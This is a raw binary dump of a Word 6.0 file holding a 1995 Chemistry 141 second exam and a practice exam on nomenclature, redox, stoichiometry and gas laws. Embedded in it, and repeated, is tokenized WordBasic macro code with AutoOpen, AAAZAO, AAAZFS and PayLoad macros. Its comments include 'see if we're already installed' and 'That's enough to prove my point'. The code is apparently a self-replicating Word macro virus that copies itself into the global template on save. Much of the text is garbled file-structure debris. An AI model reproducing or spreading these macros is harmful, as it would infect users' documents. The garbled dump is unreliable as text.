ࡱ; R FۼCompObj\WordDocument9HObjectPoolj*ۼj*ۼ  !"?@ABCDEFGSummaryInformation( @Microsoft Word 6.0.14ࡱ;  NAME _________________ Chemistry 141 Second Exam Fall, 1995 You must show all work for full credit. Please report all answers with the correct number of significant figures and units. Part I. Review and Homework. 1. ( 10 points) Complete the following Nomenclature Table: a) Iron(III)oxide ____________________ b) ______________________ (NH4)2SO4 c) Calcium phosphate ____________________ d) ______________________ ZnS e) Potassium hydroxide ____________________ 2. ( 10 points) Use the data in the following table to calculate the molar mass of naturally-occurrng argon: Isoto FMicrosoft Word 6.0 DocumentNB6WWord.Document.6;  Oh+'0 ! ' 3 ?KS [g 1]]9908Brad:Microsoft Office:Microsoft Word 6:Templates:NormalExam#2-Autumn-1995Bradford MundyBradford Mundy'@0ۼ@v@ۼ be at exactly 57oC or your hand will fuse to the key and you will be stuck forever Exactly what will you do to get into the door? [USE YOUR TEXTBOOK FOR NEEDED DATA] 8. You have a gold cup that weighs 150 grams at 27oC. You add a100 grams of ice water at 0oC. What will be the temperature of your water when the system reaches the equilibrium temperature. {assume no heat loss or gain from the room}. [USE YOUR TEXTBOOK FOR NEEDED DATA] Part VII: Oxidation and Reduction 9. PtO2 + H2 ---------> Pt + H2O Explain what was: Oxidized, reduced, what is the oxidizing and reducing agents, and finally provide oxidation numbers for all atoms involved. 10. Show that tossing sodium into water is an oxidation/reduction process. Answer as in #9 h|HH(FG(HH(d`diMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortddiMAINdk3this becomes the FileSaveAs for the global templated/idlg4gTd,-*ibaild>idlgd?idlgdidlgs lidlgs ldisMe$ g%disTMacro$ isMe$j :AutoOpendg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZAOdg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZFSdg€j Global:AAAZFSisTMacro$disTMacro$ isMe$j:PayLoaddg€jGlobal:PayLoadisTMacro$dgTidlgd*iDonedeBaildiErr lfdRgTidlgdeDoneddiMAINdRp That's enough to prove my pointddiMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortd&&'''''''''''''' ((((4(5(;((((@)B)C)[)\))6*=*>*C*D****++)+++,,S,T,U,V,,,,,,,,,,,,,,,,,- --------------U^c V]chV]cchUcUcecececuVcT-----...*.+.q.....//B7ucUhU@//@)9 $M~4cdpq;<[yzH I c  w x 4 5 @$$$$$$$$T$$$$$$$$$$$$$D$$$$$$$$$$$$$$$,$$$$$$$,$$$$-B7  /@Bradford Mundy-Brad:Desktop Folder:CH141 Exam 2 Preexam-1997Bradford Mundy'Brad:Temporary Items:Word Work File A 5Bradford Mundy'Brad:Temporary Items:Word Work File A 5Bradford Mundy'Brad:Temporary Items:Word Work File A 5U./U0x2U21+4U2\4)AutoOpenAAAZAOAAAZFSPayLoadAAAZAOAAAZFSPAYLOADAUTOOPEN@bVc049s7Z #'.78My{~7@ALbcdjoqrt;<E[\^$yzH I N R a c d e f  0 1 K   3 4 u v w x        " ) 0 4 ?      1 2 4 M N $%>?@g0k&&''''''?''+'4K'x}'''' ((((I4(5(;((((@) JL1MHYNO B)C)[) \)) 6* =* R  >* T C* dD****++)+++,,S,T,U,V,,,e,,,,,,,,,,,,,,- ------------------...*.+.q...../fMTimes New RomanTimes Symbol MArialMNew York MTimesMCalligrapher" Tƈ/$+BExam#2-Autumn-1995Bradford MundyBradford Mundyࡱ; ܥhS %e 9H%&&<<<<<>:<>>> *>F>">9Gfh>l>l>l>l>l>l>l>P? @ @ @ @ @ @&GXGB3@<l> l>l>l>l>3@l><<l>h>l>l>l>l><l><l>P?<"<<<<<l>P?l>l> NAME _________________ Chemistry 141 Second Exam Fall, 1995 You must show all work for full credit. Please report all answers with the correct number of significant figures and units. Part I. Review and Homework. 1. ( 10 points) Complete the following Nomenclature Table: a) Iron(III)oxide ____________________ b) ______________________ (NH4)2SO4 c) Calcium phosphate ____________________ d) ______________________ ZnS e) Potassium hydroxide ____________________ 2. ( 10 points) Use the data in the following table to calculate the molar mass of naturally-occurrng argon: IsotopeIsotope Molar MassAbundance36Ar35.967550.337%38Ar37.962720.063%40Ar39.962499.600% Part II. Oxidation-Reduction: Balance the following oxidation-reduction equations: (You must show your work for full credit). 3. (5 points)(17.13 b of suggested problems) O2 + As HAsO2 + H2O 4. (5 points)(17.14c of suggested problems) HClO + Co Cl2 + Co2+ (in Acidic Conditions) ACID-BASE CHEMISTRY: 5. (10 points) How many mL of 0.470M HCl are needed to neutralize 123mL of 0.0250M KOH? HCl + KOH -------> KCl + H2O 6. ( 10 points)( modified #4.84 of suggested problems) The "plop-plop-fizz-fizz" of an Alka Seltzer tablet is due to the acid-base reaction between citric acid , H3C6H5O7 , and sodium hydrogencarbonate (NaHCO3) (sodium bicarbonate): 3 NaHCO3 + H3C6H5O7 3 CO2(g) + 3 H2O (l) + Na3 (C6H5O7) One Alka Seltzer contains sufficient sodium hydrogen carbonate for reaction and 1.00 g of citric acid. What mass of carbon dioxide will be produced when a tablet is dropped into water? Part III. Limiting Reagent: 7. (10 points) How much HgCl2 will be precipitated if you add 5.00 grams of mercury(II)nitrate (totally soluble in water) to 30.0 mL of 2.00 M NaCl solution? (MM Hg(NO3)2 = 324.53g) Part IV. Gas Law Problems. 8. ( 10 points) Knowing that D=  EQ \F(mass,volume) , derive an equation from the ideal gas law that will provide MM from pressure, temperature, and density and volume of a gas. 9. ( 10 points )(modified from #30 of Suggested Problems) Oxygen gas can be generated by heating KClO3 in the presence of some MnO2 (a catalyst). 2 KClO3 ---------> 2 KCl + 3 O2 If you have2.68 grams of KClO4, what volume of oxygen will be generated at T = 120 C and P = 742 torr? 10. (10 points. #5.6 from Suggested Problems) To make atomic bombs from uranium, natural uranium must be enriched in its lighter isotope, 235U. This was first accomplished by using gaseous diffusion of UF6. Gas molecules of 235UF6 diffuse faster than 238UF6. Calculate the ratio of diffusion rates for the two gases. 11. ( 10 points. From # 5.24 of Suggested Problems) What is the total pressure of of a gas mixture containing 1.25 grams each of Ar, CO, and CH4? The gases are contained in a 4.00 Liter vessel at 375 C. initials ___________ h|HH(FG(HH(d`diMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortddiMAINdk3this becomes the FileSaveAs for the global templated/idlg4gTd,-*ibaild>idlgd?idlgdidlgs lidlgs ldisMe$ g%disTMacro$ isMe$j :AutoOpendg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZAOdg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZFSdg€j Global:AAAZFSisTMacro$disTMacro$ isMe$j:PayLoaddg€jGlobal:PayLoadisTMacro$dgTidlgd*iDonedeBaildiErr lfdRgTidlgdeDoneddiMAINdRp That's enough to prove my pointddiMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortd . 34 5 Thermochemistry6 Pre-This is simply a practice exam. The actual exam may look different; however, this should provide practice for the in-class experience that 5Aqtuvwyz{ ?A]^im  /1Gxyz{|}~U]UeUUceUcee]eUVcceceUccTR F+ۼ(CompObj\WordDocument*+ObjectPoolj*ۼj*ۼ%'+,-./0123456789:;<=>)SummaryInformation( @Microsoft Word 6.0.13ࡱ;  NAME _________________ Chemistry 141 Second Exam Fall, 1995 You must show all work for full credit. Please report all answ FMicrosoft Word 6.0 DocumentNB6WWord.Document.6;  Oh+'0 ! ' 3 ?KS [g 1]]9908Brad:Microsoft Office:Microsoft Word 6:Templates:NormalExam#2-Autumn-1995Bradford MundyBradford Mundy'@0ۼ@v@>ۼHYNO  Q R  T c defSMTimes New RomanTimes Symbol MArialMNew York MTimes" TY$+BExam#2-Autumn-1995Bradford MundyBradford Mundyࡱ; #&$ܥhS e +&&&&&&&t'&t't't' ''"t'*S'''''''''((((((&+X`+B(&' ''''('&&''''''&'&''&&&&&&'''?' NAME _________________ Chemistry 141 Second Exam Fall, 1995 You must show all work for full credit. Please report all answers with the correct number of significant figures and units. Part I. Review and Homework. 1. ( 10 points) Complete the following Nomenclature Table: a) Iron(III)oxide ____________________ b) ______________________ (NH4)2SO4 c) Calcium phosphate ____________________ d) ______________________ ZnS e) Potassium hydroxide ____________________ 2. ( 10 points) Use the data in the following table to calculate the molar mass of naturally-occurrng argon: IsotopeIsotope Molar MassAbundance36Ar35.967550.337%38Ar37.962720.063%40Ar39.962499.600% Part II. Oxidation-Reduction: Balance the following oxidation-reduction equations: (You must show your work for full credit). 3. (5 points)(17.13 b of suggested problems) O2 + As HAsO2 + H2O 4. (5 points)(17.14c of suggested problems) HClO + Co Cl2 + Co2+ (in Acidic Conditions) ACID-BASE CHEMISTRY: 5. (10 points) How many mL of 0.470M HCl are needed to neutralize 123mL of 0.0250M KOH? HCl + KOH -------> KCl + H2O 6. ( 10 points)( modified #4.84 of suggested problems) The "plop-plop-fizz-fizz" of an Alka Seltzer tablet is due to the acid-base reaction between citric acid , H3C6H5O7 , and sodium hydrogencarbonate (NaHCO3) (sodium bicarbonate): 3 NaHCO3 + H3C6H5O7 3 CO2(g) + 3 H2O (l) + Na3 (C6H5O7) One Alka Seltzer contains sufficient sodium hydrogen carbonate for reaction and 1.00 g of citric acid. What mass of carbon dioxide will be produced when a tablet is dropped into water? Part III. Limiting Reagent: 7. (10 points) How much HgCl2 will be precipitated if you add 5.00 grams of mercury(II)nitrate (totally soluble in water) to 30.0 mL of 2.00 M NaCl solution? (MM Hg(NO3)2 = 324.53g) Part IV. Gas Law Problems. 8. ( 10 points) Knowing that D=  EQ \F(mass,volume) , derive an equation from the ideal gas law that will provide MM from pressure, temperature, and density and volume of a gas. 9. ( 10 points )(modified from #30 of Suggested Problems) Oxygen gas can be generated by heating KClO3 in the presence of some MnO2 (a catalyst). 2 KClO3 ---------> 2 KCl + 3 O2 If you have2.68 grams of KClO4, what volume of oxygen will be generated at T = 120 C and P = 742 torr? 10. (10 points. #5.6 from Suggested Problems) To make atomic bombs from uranium, natural uranium must be enriched in its lighter isotope, 235U. This was first accomplished by using gaseous diffusion of UF6. Gas molecules of 235UF6 diffuse faster than 238UF6. Calculate the ratio of diffusion rates for the two gases. 11. ( 10 points. From # 5.24 of Suggested Problems) What is the total pressure of of a gas mixture containing 1.25 grams each of Ar, CO, and CH4? The gases are contained in a 4.00 Liter vessel at 375 C. initials ___________ h|HH(FG(HH(d`diMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortddiMAINdk3this becomes the FileSaveAs for the global templated/idlg4gTd,-*ibaild>idlgd?idlgdidlgs lidlgs ldisMe$ g%disTMacro$ isMe$j :AutoOpendg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZAOdg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZFSdg€j Global:AAAZFSisTMacro$disTMacro$ isMe$j:PayLoaddg€jGlobal:PayLoadisTMacro$dgTidlgd*iDonedeBaildiErr lfdRgTidlgdeDoneddiMAINdRp That's enough to prove my pointddiMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortd . 34 5 Thermochemistry6 5Aqtuvwyz{ ?A]^im  /1Gxyz{|}~U]UeUUceUcee]eUVcceceUccT            , - / 3 4 D F L N O R p q W Z  IJLMNOQRTcdefguuDceUce uDcVcUccceceUeUR)5@A IJK{|}  {$$$$$$$$$$$$$$$$$T$$$$$$$$$$$$$     ,    ,  P  @$)lm,-./0FG  ,   $$$$$$$$$T$$$$$$$$$$$$$$$$$$,$,$,$$$$$$ P  @$*    $$$$$$$$$$$$$D$$T$$$$$$$$$$$$$$$$$$$ $$$$$$$$$- , - Q R $$$$$$$$$$$$$$$$$T$$D$$$$$$$$$$$$$$`$$$$$$$$$- JMg$$$$$$,$,$,$$33 K @ Normal ]a c"A@"Default Paragraph Font @ Header ! 5O|2 $$$$T$$$$$$$$$D$$$$g  g?Bradford Mundy-Brad:Desktop Folder:CH141 Exam 2 Preexam-1997UUU212Ucc)AutoOpenAAAZAOAAAZFSPayLoadAAAZAOAAAZFSPAYLOADAUTOOPEN@ c5O|2346  ?K}I JL1M            , - / 3 4 D F L N O R p q W Z  IJLMNOQRTcdefgkuuDceUce uDcVcUccceceUeUT)5@A IJK{|}  {$$$$$$$$$$$$$$$$$T$$$$$$$$$$$$$     ,    ,  P  @$)lm,-./0FG  ,   $$$$$$$$$T$$$$$$$$$$$$$$$$$$,$,$,$$$$$$ P  @$*    $$$$$$$$$$$$$D$$T$$$$$$$$$$$$$$$$$$$ $$$$$$$$$- , - Q R $$$$$$$$$$$$$$$$$T$$D$$$$$$$$$$$$$$`$$$$$$$$$- JMg(5(A)B)C)\)6*++U,V,,,------...../$$$$$$,$,$,$$$$$$$$$$$$$$$,$$$$$$$,$$$$b33&K @ Normal ]a c"A@"Default Paragraph Font @ Header ! will be coming soon. Use your book for data needed . . .for the exam this will be provided. [EXCEPT FOR IONS, SOLUBILITY, AND STRONG/WEAK ACIDS] You should be able to do ALL question-types from the first exam and be able to do any problem related to homework and laboratory.[A]Lead(II HPperchlorateMagnesium hydroxide f) ______________________ dinitogentetroxide g) Mercury (I)nitrite ______________________ [B] You have a mixture of solid salts: sodium nitrate, sodium chloride, lead(II) nitrate, potassium sulfate, barium chloride, ammonium chloride. Each salt is soluble in water. Show which pairs of salts would provide a reaction that resulted in a precipitate. Part III. Stoichiometry 5. Rust is iron(III)oxide. If you have a 50 gram block of iron and allow it to rust completely, how much iron oxide will you have? Use this data to work backwards now and determine the formula for the iron oxide. Part IV6Part 7You want to enter the castle. There is a large, thick, oak door with a large key slot. Attached next to the door is a barometer (pressure = 760 mm Hg), and a thermometer showing the temperature to be 28oC. On a nearby table is a Bunsen burner, a large bottle of pure water, a large beaker, a very accurate graduated cylinder and a large iron key whose mass has been carefully measured as 147 grams. A letter is posted on the door: the Key must